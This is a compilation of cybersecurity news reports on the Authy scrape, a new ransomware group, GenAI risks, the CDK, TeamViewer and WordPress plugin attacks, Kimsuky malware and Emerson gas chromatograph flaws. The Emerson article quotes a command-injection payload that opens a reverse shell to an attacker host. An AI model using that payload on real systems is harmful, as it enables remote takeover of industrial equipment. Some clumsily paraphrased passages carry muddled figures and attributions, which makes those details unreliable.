As the dark web was abuzz last week with the release of 33 million phone numbers from Authy accounts, the threat actor ShinyHunters published a collection of the data. The threat actor, as pointed out by BleepingComputer, appears to have obtained the information by using the app's unsecured API endpoint to input a massive list of phone numbers, which would then be checked to see whether the numbers were tied to the application.

During the investigation into the matter, it was found that the data was compiled by feeding an enormous number of phone numbers into the unsecured API endpoint for an unsecured API. Upon validity of the number, Authy's endpoint will return information about the associated accounts registered with Authy once the request is made. Since the API has been secured, these are no longer able to be misused to verify whether a phone number is being used with Authy because the API has been secured.

Threat actors have used this technique in the past, as they exploited unsecure Twitter APIs and Facebook APIs to compile profiles of tens of millions of users that contain both public and private information about the users. Although the Authy scrape contained only phone numbers, such data can still prove to be valuable to users who are interested in conducting smishing and SIM-swapping attacks to breach the accounts of their consumers.

A CSV file containing 33,420,546 rows is available for download. Each row contains an account ID, phone number, an "over_the_top" column, the account status of the account, as well as the number of devices according to the site. According to reports on Authy's blog, the company has acknowledged that it was attacked. Twilio has confirmed a recent data breach affecting its Authy two-factor authentication app users.

While the company experienced two separate cyberattacks in 2022, it emphasized that this latest incident is not related to the previous breaches. In light of this development, Twilio is urging all Authy users to exercise extreme caution when dealing with unsolicited text messages that appear to be from the company. According to Sean Wright, Head of Application Security at Featurespace, the primary threat stemming from this incident is the potential for targeted phishing attacks. Exposure to users' phone numbers significantly increases the risk of such attacks.

Wright reassures users that direct access to their Authy accounts remains unlikely unless the attackers can obtain the seeds for the multi-factor authentication (MFA) tokens stored within the app. Despite this, he stresses the importance of remaining vigilant. Users should be particularly wary of messages from unknown senders, especially those that convey a sense of urgency or threaten financial loss if no action is taken.

To enhance security, Wright suggests that users consider switching to an alternative MFA application or opting for more secure hardware keys, such as the Yubico YubiKey. Additionally, if any user experiences difficulty accessing their Authy account, Twilio advises immediate contact with Authy support for assistance. Furthermore, Twilio recommends that users update their Authy app on iOS and Android platforms to address potential security vulnerabilities.

Keeping the application up-to-date is critical in safeguarding against future threats and ensuring the highest level of protection for user accounts. This proactive approach will help mitigate the risks associated with the recent breach and reinforce the security of the authentication process for all Authy users.

This New Ransomware Group Uses Phone Calls to Pressure Victims

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ransomware tactics

Cyber Extortion Cyber Threats Cybersecurity data exfiltration. logistics industry LukaLocker ransomware Malware attacks manufacturing sector phone call intimidation Ransomware group ransomware tactics

This New Ransomware Group Uses Phone Calls to Pressure Victims

Researchers have identified a new ransomware group called Volcano Demon, responsible for at least two successful attacks in the past two weeks. Tim West, an analyst at cybersecurity firm Halcyon, revealed that the group targeted companies in the manufacturing and logistics industries. However, further details about the targets were not disclosed.

Unlike typical ransomware groups, Volcano Demon does not have a public leaks website. Instead, they use phone calls to intimidate and negotiate payments with leadership at the victim organizations. These calls, often threatening, originate from unidentified numbers.

Before making the calls, the hackers encrypt files on the victims' systems using previously unknown LukaLocker ransomware and leave a ransom note. The note threatens to inform clients and partners about the attack and sell data to scammers if the ransom is not paid.

Volcano Demon uses a double extortion technique, exfiltrating data to command-and-control (C2) services before encrypting it. They successfully locked Windows workstations and servers by exploiting common administrative credentials from the network. Tracking Volcano Demon has proven difficult due to their practice of clearing log files on targeted machines, which hampers comprehensive forensic evaluation.

West mentioned that the hackers, who spoke with a heavy accent, call very frequently, almost daily in some cases. However, the origin of the callers remains unclear as no recordings are available.

It is uncertain whether Volcano Demon operates independently or as an affiliate of a known ransomware group. Halcyon has not yet identified any such links.

Ransomware operators continue to evolve, with new threat actors emerging and targeting various industries. In May 2024, researchers identified a criminal gang named Arcus Media, operating a ransomware-as-a-service model and targeting victims in the U.S., U.K., India, and Brazil. Another group, Space Bears, appeared in April, quickly gaining notoriety for their corporate-themed data leak site and affiliations with the Phobos ransomware-as-a-service group. Researchers suggest that these groups may be more organized and funded than previously anticipated.

The Growing Cybersecurity Concerns of Generative Artificial Intelligence

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Technology Threats

AI concerns Cybersecurity GenAI LLMs Technology Technology Threats

The Growing Cybersecurity Concerns of Generative Artificial Intelligence

In the rapidly evolving world of technology, generative artificial intelligence (GenAI) programs are emerging as both powerful tools and significant security risks. Cybersecurity researchers have long warned about the vulnerabilities inherent in these systems. From cleverly crafted prompts that can bypass safety measures to potential data leaks exposing sensitive information, the threats posed by GenAI are numerous and increasingly concerning. Elia Zaitsev, Chief Technology Officer of cybersecurity firm CrowdStrike, recently highlighted these issues in an interview with ZDNET.

"This is a new attack vector that opens up a new attack surface," Zaitsev stated. He emphasized the hurried adoption of GenAI technologies, often at the expense of established security protocols. "I see with generative AI a lot of people just rushing to use this technology, and they're bypassing the normal controls and methods of secure computing," he explained.

Zaitsev draws a parallel between GenAI and fundamental computing innovations. "In many ways, you can think of generative AI technology as a new operating system or a new programming language," he noted. The lack of widespread expertise in handling the pros and cons of GenAI compounds the problem, making it challenging to use and secure these systems effectively. The risk extends beyond poorly designed applications.

According to Zaitsev, the centralization of valuable information within large language models (LLMs) presents a significant vulnerability. "The same problem of centralizing a bunch of valuable information exists with all LLM technology," he said.

To mitigate these risks, Zaitsev advises against allowing LLMs unfettered access to data stores. Instead, he recommends a more controlled approach. "In a sense, you must tame RAG before it makes the problem worse," he suggested. This involves leveraging the LLM's capability to interpret open-ended questions and using traditional programming methods to fulfill queries securely. "For example, Charlotte AI often lets users ask generic questions," Zaitsev explained.

"What Charlotte does is identify the relevant part of the platform and the specific data set that holds the source of truth, then pulls from that via an API call, rather than allowing the LLM to query the database directly."

As enterprises increasingly integrate GenAI into their operations, understanding and addressing its security implications is crucial. By implementing stringent control measures and fostering a deeper understanding of this technology, organizations can harness its potential while safeguarding their valuable data.

CDK Cyberattack Traced to BlackSuit Hackers: U.S. Auto Industry Under Siege

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CyberThreat

BlackSuit Cyber Attacks Cyber Software CyberCrime Cyberhackers Cybersecurity CyberThreat

CDK Cyberattack Traced to BlackSuit Hackers: U.S. Auto Industry Under Siege

Cybercriminals have carried out a series of hacks targeting big companies by breaking into the back ends of their software suppliers, disrupting operations at auto dealerships all over the U.S. This is the latest in a wide-ranging series that targets big companies through the breaching of back-end companies. Dealers commonly use this software system to process sales and other operations, such as purchase orders, in the dealership world. Various reports in local media indicate that many dealers have started processing transactions manually as a result of the hack, which occurred last week.

According to CDK Global, which provides software to roughly 15,000 car dealerships in North America, the company is anticipating that all 14 dealerships will be up and running by late evening Wednesday or early morning Thursday as a result of the hack. The software of CDK was compromised by two cyberattacks that forced the company's systems to be taken down for days, which resulted in delays in the scheduling of services, repairs, part deliveries, and the purchase of cars at dealerships in both the United States and Canada.

Customers were notified by the Illinois-based company on June 24 that the disruptions might last until the end of the month since it was signalling that they could persist for a while. In the days following CDK's discovery of the breach and shutdown of systems on June 19, chaos has engulfed dealerships around the country. As an example of CDK's core product, it is a suite of software tools called a dealership management system that underpins almost every aspect of the day-to-day operations of dealerships.

The shutdown of the system resulted in an industry that experienced $1.2 trillion in U.S. sales last year being affected and necessary repairs being disrupted as a result. As a result of these disruptions, sales are also expected to suffer just before the end of the quarter. A lot is unknown about the organization, but it appears that it emerged in May of 2023. Analysts believe that this was a relatively new cybercrime team that spun off from a well-established hacker group with Russian ties called RoyalLocker, which was older and well-known.

A formidable hacking gang originating from the Conti gang, RoyalLocker mostly targeted American companies over the ages with sophistication compared to the other prolific attacks. Based on the data gathered by analysts, Royal was thought to rank third among the most persistent ransomware groups behind LockBit and ALPHV. The company's aggressiveness compared to the other three is not as high as BlackSuit's. Kimberly Goody, the head of cybersecurity analysis at Mandiant Intelligence, has said she has found that the number of victims listed on this site indicates that it does not have as many hacking partners as larger ransomware gangs do, based on the number of victims listed on the site.

The cyberattack on CDK Global that has paralyzed car sales across the U.S. is believed to have been carried out by hackers called BlackSuit, according to a threat analyst for Recorded Future Inc. Allan Liska, the firm's threat analyst. Bloomberg News previously reported that the gang had requested tens of millions of dollars in ransom for the disruptions to end, and CDK was committed to making the payment, at least according to Bloomberg News. In recent decades, there has been a significant amount of consolidation within the sector that has led to a small number of companies that provide 'dealership management systems' for auto sellers.

The recent cyberattack on U.S. car dealerships, facilitated through CDK's services, underscores the increasing vulnerability of thousands of retail outlets. These dealerships heavily rely on CDK for essential operations such as financing, insurance management, vehicle, and parts inventory, as well as sales and repair processes. According to a 2023 report by CDK, cybercriminal activity targeting car dealerships is on the rise, with 17% of 175 surveyed dealers reporting incidents within the past year—a notable increase from the previous year's 15%. Of those affected, 46% cited significant financial or operational setbacks due to cyberattacks.

Dealerships have become prime targets due to the substantial volumes of sensitive customer data they store. From credit applications to financial records, these establishments possess a wealth of valuable information coveted by hackers, as highlighted in a 2023 article by Zurich North America. The group known as BlackSuit has emerged as a prominent threat, employing tactics such as "double extortion," where stolen data is used to coerce victims into paying a ransom.

According to Mandiant's findings, BlackSuit operates an infrastructure supporting affiliated cybercriminal groups, aiding extortion activities, and exerting pressure on victims through various means, including website disruptions. As the frequency and sophistication of cyber threats continue to escalate, the vulnerability of car dealerships to such attacks underscores the urgent need for enhanced cybersecurity measures across the automotive industry. Efforts to safeguard sensitive customer information and maintain operational continuity are paramount in mitigating the impact of cyber incidents on these critical businesses.

Critical Vulnerabilities Found in Emerson Gas Chromographs Expose Systems

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Remote Code Execution

Authentication Bypass Claroty Team82 critical vulnerabilities Cyber Security Cybersecurity Emerson gas chromatographs Remote Code Execution

Critical Vulnerabilities Found in Emerson Gas Chromographs Expose Systems

Multiple critical vulnerabilities have been identified in Emerson gas chromatographs, posing risks such as unauthorized access to sensitive data, denial-of-service conditions, and arbitrary command execution. Gas chromatographs are essential in various industries like chemical, environmental, and healthcare sectors for analyzing and separating chemical compounds. The Emerson Rosemount 370XA, a widely used model, uses a proprietary protocol for communication between the device and a technician's computer.

Security researchers from Claroty's Team82 discovered four significant vulnerabilities: two command injection flaws, an authentication bypass, and an authorization vulnerability. One of the command injection flaws received a critical CVSS v3 score of 9.8.

The vulnerability, designated CVE-2023-46687, is an unauthenticated remote code execution or command injection flaw found in the "forced calibration" command type. It involves a system function that uses a constructed shell command with a user-provided file name without proper sanitization, allowing attackers to inject arbitrary shell commands.

Attackers can exploit this vulnerability by supplying crafted inputs, such as gunzip -c ;nc -e /bin/sh ATTACKER_MACHINE 1337;> name_of_the_expanded_file, leading to arbitrary code execution in the root shell context.

Another vulnerability, CVE-2023-51761, is an authentication bypass that allows attackers to reset the administrator password by calculating a secret passphrase derived from the device's MAC address. Since the MAC address is not secret and can be easily obtained, attackers can generate the passphrase and log in with administrator privileges using credentials formatted as EMERSON/{PASSPHRASE}.

The vulnerability CVE-2023-49716 involves a user login bypass through a password reset mechanism, enabling an unauthenticated user with network access to gain admin capabilities by bypassing authentication.

The final vulnerability, CVE-2023-43609, involves command injection via reboot functionality, allowing an authenticated user with network access to execute arbitrary commands remotely.

Due to the high cost and difficulty of obtaining a physical device, researchers emulated the Emerson Rosemount 370XA for their analysis. They identified flaws in the device's protocol implementation, enabling them to craft payloads and uncover the vulnerabilities. For instance, the authentication bypass vulnerability allowed attackers to calculate a secret passphrase and reset administrator passwords, compromising system security.

Emerson has issued a security advisory recommending that end users update the firmware on their products. The Cybersecurity and Infrastructure Security Agency has also released an advisory regarding these vulnerabilities.

Kimsuky Unleashes TRANSLATEXT Malware on South Korean Academic Institutions

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TRANSLATEXT

Cyberattacks CyberCrime Cyberhackers Cybersecurity CyberThreat GitHub JavaScript malware TRANSLATEXT

Kimsuky Unleashes TRANSLATEXT Malware on South Korean Academic Institutions

An investigation has found that a North Korea-linked threat actor, known as Kimsuky, has been involved in the use of a malicious Google Chrome extension to steal sensitive information to collect information as part of an ongoing intelligence collection effort. Observing the activity in early March 2024, Zscaler ThreatLabz has codenamed the extension TRANSLATEXT, emphasizing its ability to gather email addresses, usernames, passwords, cookies, and screenshots as well as its ability to gather this information.

This targeted campaign is said to have targeted South Korean academia, specifically those focused on North Korean politics. There is a notorious North Korean hacker group known as Kimsuky that has been active since 2012, perpetrating cyber espionage and financial-motivated attacks against South Korean businesses. Kimsuky is widely known as a notorious hacker crew. In the remote server's PowerShell script, general information about the victim is uploaded as well as creating a Windows shortcut that enables a user to retrieve another script from the remote server through a PowerShell script. TRANSLATEXT's exact delivery method remains unclear, which makes it even more difficult for defenders to protect themselves from it.

Despite this, Kimsuky is well known for utilizing sophisticated spear-phishing and social engineering attacks to trick the target into initiating the infection process. Two files appear to be connected to Korean military history when the attack begins, a ZIP archive that appears to contain two files, a Hangul Word Processor document and an executable file. Once the executable file has been launched, it retrieves a PowerShell script from the attacker's server. In addition to exporting the victim's information to a GitHub repository, this script also downloads additional PowerShell code via a Windows shortcut (LNK) file and executes it.

It is clear from this multi-stage attack process that Kimsuky is an extremely sophisticated and well-planned operation. By using a familiar and seemingly legitimate document, the attackers decrease the chances of the targets being suspicious. As well as displaying an innovative method of blending malicious activities into regular internet traffic, GitHub is also utilized in the initial data export process, resulting in a much harder time finding and blocking malicious actions for traditional security systems. There are a few groups that are also associated with the Lazarus cluster or part of the Reconnaissance General Bureau (RGB).

For instance, APT43, ARCHIPELAGO, Black Banshee, Emerald Sleet, Springtail, and Velvet Chollima are groups that are affiliated with the Lazarus cluster. There have been several incidents in the last few weeks in which the group has weaponized a vulnerability in Microsoft Office (CVE-2017-11882), distributed a keylogger, and used job-themed lures in attacks aiming at the aerospace and defence industries to drop an espionage tool that gathers data and executes secondary payloads. "The backdoor is unknown to the public and the attacker can conduct basic reconnaissance, drop additional payloads, and then take over or remotely control the computer."

CyberArmor said. Despite Kimsuky's recent involvement in cyber espionage, it has given this campaign the name Niki. It is no secret that Kimsuky is not a new player. Since at least 2012, the group has been active and has developed a reputation for orchestrating cyber-espionage and financial-motivated attacks primarily on South Korean institutions, which has earned them a reputation as a notorious group. It has been reported that the group has stolen classified information, and committed financial fraud, and ransomware attacks. Throughout history, they have been one of the most formidable cyber threat actors associated with North Korea due to their adaptability and persistence.

There is no doubt that Kimsuky is capable of blending cyber espionage with financially motivated operations, indicating a versatile approach to achieving the North Korean regime's objectives, whether they are to gather intelligence or generate revenue to support it. As of right now, it is not clear what is the exact mechanism for accessing the newly discovered activity, although it is known that the group is known for utilizing spear-phishing and social engineering attacks to launch the infection cycle.

It is believed that the attack began with the delivery of a ZIP archive with the intent of containing Korean military history at the time, which contains two files: a word processor document in Hangul and an executable at the time of the attack. As soon as the executable is launched, a PowerShell script is extracted from a server controlled by the attacker that downloads additional PowerShell code with the aid of a Windows shortcut file (LNK) and creates a GitHub repository where the compromised victim's information is periodically uploaded.

After the GitHub repository has been created, the attacker deletes the LNK file in question. This is the statement posted by Zscaler, a security company that found a GitHub account, created on February 13, 2024, that briefly hosted the TRANSLATEXT extension under the name "GoogleTranslate.crx," regardless of how it is distributed at the moment. TRANSLATEXT, which masquerades as Google Translate, incorporates JavaScript code to bypass security measures for services like Google, Kakao, and Naver; siphon email addresses, credentials, and cookies; capture browser screenshots; and exfiltrate stolen data. It's also designed to fetch commands from a Blogger Blogspot URL to take screenshots of newly opened tabs and delete all cookies from the browser, among others.

TeamViewer's Corporate Network Compromised in Suspected APT Hack

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TeamViewer breach

Advanced Persistent Threat APT group attack corporate network hack Cyberattack Cybersecurity Data Breach Remote Access Software TeamViewer breach

TeamViewer's Corporate Network Compromised in Suspected APT Hack

iTeamViewer, a remote access software company, has announced that its corporate environment was compromised in a cyberattack. According to the company, the breach was detected on Wednesday, June 26, 2024, and is believed to have been carried out by an advanced persistent threat (APT) hacking group.

"On Wednesday, June 26, 2024, our security team detected an irregularity in TeamViewer’s internal corporate IT environment," TeamViewer stated in a post on its Trust Center. "We immediately activated our response team and procedures, started investigations together with a team of globally renowned cybersecurity experts, and implemented necessary remediation measures."

TeamViewer assured that its internal corporate IT environment is entirely separate from its product environment. They emphasized that there is no evidence suggesting that the product environment or customer data has been affected. The company continues to investigate and is focused on maintaining the integrity of its systems.

Despite their commitment to transparency, the "TeamViewer IT security update" page includes a <meta name="robots" content="noindex"> HTML tag, preventing search engines from indexing the document and making it harder to find.

TeamViewer is widely used for remote access, allowing users to control computers remotely as if they were physically present. The software is currently used by over 640,000 customers worldwide and has been installed on over 2.5 billion devices since its launch.

While TeamViewer has stated there is no evidence of a breach in its product environment or customer data, the extensive use of their software in both consumer and corporate settings makes any breach a significant concern, potentially granting full access to internal networks.

In 2019, TeamViewer confirmed a 2016 breach linked to Chinese threat actors through the Winnti backdoor. At the time, the company did not disclose the breach as no data was stolen.

News of the latest breach was first reported on Mastodon by IT security professional Jeffrey, who shared parts of an alert from the Dutch Digital Trust Center. This web portal is used by the government, security experts, and Dutch corporations to share information about cybersecurity threats.

"The NCC Group Global Threat Intelligence team has been made aware of significant compromise of the TeamViewer remote access and support platform by an APT group," warned an alert from cybersecurity firm NCC Group. "Due to the widespread usage of this software, the following alert is being circulated securely to our customers."

Another alert from Health-ISAC, a community for healthcare professionals to share threat intelligence, warned that TeamViewer services were allegedly being targeted by the Russian hacking group APT29, also known as Cozy Bear, NOBELIUM, and Midnight Blizzard.

"On June 27, 2024, Health-ISAC received information from a trusted intelligence partner that APT29 is actively exploiting TeamViewer," reads the Health-ISAC alert shared by Jeffrey. "Health-ISAC recommends reviewing logs for any unusual remote desktop traffic. Threat actors have been observed leveraging remote access tools. TeamViewer has been observed being exploited by threat actors associated with APT29."

APT29 is a Russian advanced persistent threat group linked to Russia's Foreign Intelligence Service (SVR). The group is known for its cyberespionage capabilities and has been involved in numerous attacks, including breaches of Western diplomats and a recent compromise of Microsoft's corporate email environment.

Although TeamViewer disclosed the incident at the same time as the alerts from NCC Group and Health-ISAC, it is unclear if they are directly related. TeamViewer's and NCC's alerts address the corporate breach, while the Health-ISAC alert focuses on targeting TeamViewer connections.

BleepingComputer reached out to TeamViewer for comments on the attack but was informed that no further information would be provided during the ongoing investigation. NCC Group also told BleepingComputer that they had nothing further to add beyond the alert issued to their clients.

On June 28, 2024, TeamViewer informed BleepingComputer that they had removed the noindex tag from their Trust Center, and the page should soon be indexed by search engines.

Hackers Slip Backdoor into WordPress Plugins in Latest Supply-Chain Attack

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WordPress Plugins

Backdoor CyberCrime CyberNAttacks Cybersecurity CyberThreat Supply Chain Attack WordPress Plugins

Hackers Slip Backdoor into WordPress Plugins in Latest Supply-Chain Attack

Security researchers announced on Monday that there had been a supply chain attack on up to 36,000 WordPress plugins running on a wide range of websites that had been backdoored by unknown hackers. Currently, researchers from security firm Wordfence report that the campaign has affected five plugins as of Monday morning. It has been active since last week. It has been reported that unknown threat actors have recently added malicious functionality to plugin updates on WordPress.org, which is the official site for the free open-source WordPress CMS. This update creates an attacker-controlled administrative account that can be used to control the compromised site, as well as add content designed to boost search results.

The updates can be installed automatically when the updates are installed. There has been a significant amount of backdooring in WordPress plugins to allow malicious code to be injected which can lead to the creation of rogue administrator accounts which can be used for arbitrary purposes. As Wordfence security researcher Chloe Chamberland pointed out in an alert on Monday, the malware injects itself into the system, attempting to create an administrator user account and sending back that account's details to the attacker's server.

Further, it appears that the threat actor may also have injected malicious JavaScript into the footers of websites, which appears to be causing SEO spam to be displayed throughout the website. According to Wordfence security researchers, a company that monitors the security of the biggest website builder platforms in the world, five plugins have been poisoned with a poisonous patching function so far. Whenever users patch these WordPress plugins, they are presented with a piece of code that creates a new admin account, which is then used by the attackers to establish the account login credentials.

The perpetrators of this threat (whose identity has not been revealed yet) thus gain full and unrestricted access to the website in this way. The plugins that have been made available are called Social Warfare, BLAZE Retail Widget, Wrapper Link Elementor, and Contract Form 7 Multi-Step Add-on as well as Just Show Hooks. Combined, these five plugins have been installed 36,000 times. Of these, Social Warfare has the most number of installations at 30,000, far and away the most popular one. As of the time of publication, it was not yet clear how the attackers were able to compromise the patching process for these five plugins, and thus compromise their security.

It was reported that reporters at Ars Technica attempted to get in touch with the plugin developers (some did not even provide contact information on their plugin websites, meaning it was impossible to get in touch with them) but did not receive any response. There has been a sharp rise in the number of supply-chain attacks over the past decade, which has become one of the most effective ways to install malware within a supply chain. The threat actors have been able to achieve significant gains by poisoning the software source code so that by simply running a trusted update or installation file, they can infect large numbers of devices.

This year, an almost disastrous event occurred when a backdoor was discovered, largely through chance, in the widespread open-source XZ Utils code library a week or so ahead of its general release date, narrowly averting disaster. In addition, there have been many other recent supply-chain attacks that can be found in the media. Researchers are currently working on investigating how and why the malware was uploaded to the plugin channel for downloading on the WordPress site to increase their knowledge about it. Several emailed questions were sent to representatives of WordPress, BLAZE, and Social Warfare, none of whom responded.

Because there is no contact information on the websites of the developers of the remaining three plugins, it was impossible to connect with the representatives of those developers. As mentioned by the Wordfence researchers, they were first made aware of the attack on Saturday when they received an email from a member of the WordPress plugin review team that mentioned the attack. Based on their analysis of the malicious file, the researchers were able to identify four other plugins that had similar codes that were exposed to the same threat.

There is generally a perception that WordPress is a secure platform for designing and building websites. However, it is a platform with a vast number of third-party themes and plugins, many of which suffer from poor protection, and/or don't enjoy the same level of maintenance as the platform itself. Consequently, they are considered to be a great entry point for threat actors, due to their unique nature. Moreover, the themes and plugins available for WordPress can be both free-to-use and commercially produced, but the latter are often abandoned or maintained by a single developer or hobbyist.

There is therefore a strong need for WordPress administrators to use extreme caution when installing third-party additions to their websites. They need to ensure that only the files they intend to use are installed. It is imperative for users to ensure their WordPress plugins are always updated and to remain vigilant for any news regarding vulnerabilities. Individuals who have installed any of the compromised plugins should uninstall them immediately and thoroughly inspect their sites for any newly created admin accounts or unauthorized content. Users who utilize the Wordfence Vulnerability Scanner will be alerted if their site is running any of the affected plugins.

Furthermore, the Wordfence post advises users to monitor their sites for connections originating from the IP address 94.156.79.8, as well as to check for admin accounts with the usernames "Options" or "PluginAuth."

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